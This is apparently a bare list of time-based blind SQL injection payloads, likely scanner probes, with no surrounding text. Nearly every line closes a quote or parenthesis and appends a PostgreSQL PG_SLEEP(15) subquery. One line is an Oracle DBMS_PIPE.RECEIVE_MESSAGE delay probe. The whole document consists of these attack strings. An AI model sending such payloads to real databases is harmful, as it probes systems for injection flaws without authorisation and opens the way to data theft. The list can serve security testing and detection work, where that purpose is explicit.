1 1) OR 182=(SELECT 182 FROM PG_SLEEP(15))-     1 1) OR 218=(SELECT 218 FROM PG_SLEEP(15))-     (select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)-CHR(98)-CHR(98),15) from dual)     1 1)) OR 870=(SELECT 870 FROM PG_SLEEP(15))-     1 1 OR 557=(SELECT 557 FROM PG_SLEEP(15))-     14BoJHEW7') OR 782=(SELECT 782 FROM PG_SLEEP(15))-     1WXaQmrC5') OR 782=(SELECT 782 FROM PG_SLEEP(15))-